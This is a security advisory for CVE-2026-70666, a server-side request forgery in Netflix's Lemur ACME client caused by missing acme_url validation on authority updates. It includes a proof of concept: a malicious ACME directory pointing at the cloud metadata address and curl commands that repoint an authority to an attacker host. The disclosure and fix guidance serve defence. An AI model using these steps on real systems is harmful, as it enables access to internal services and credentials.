Skip to content

Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs

High severity GitHub Reviewed Published Jul 6, 2026 in Netflix/lemur • Updated Aug 18, 2026

Package

pip lemur (pip)

Affected versions

<= 1.9.2

Patched versions

1.9.3

Description

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

  1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
  2. new_order() -> server returns finalize and authorizations URLs.
  3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

  • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
  • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
  • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
  • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

  1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
  2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

References

@PJ1288 PJ1288 published to Netflix/lemur Jul 6, 2026
Published to the GitHub Advisory Database Aug 18, 2026
Reviewed Aug 18, 2026
Last updated Aug 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(6th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-70666

GHSA ID

GHSA-xpmj-wjcp-6pww

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.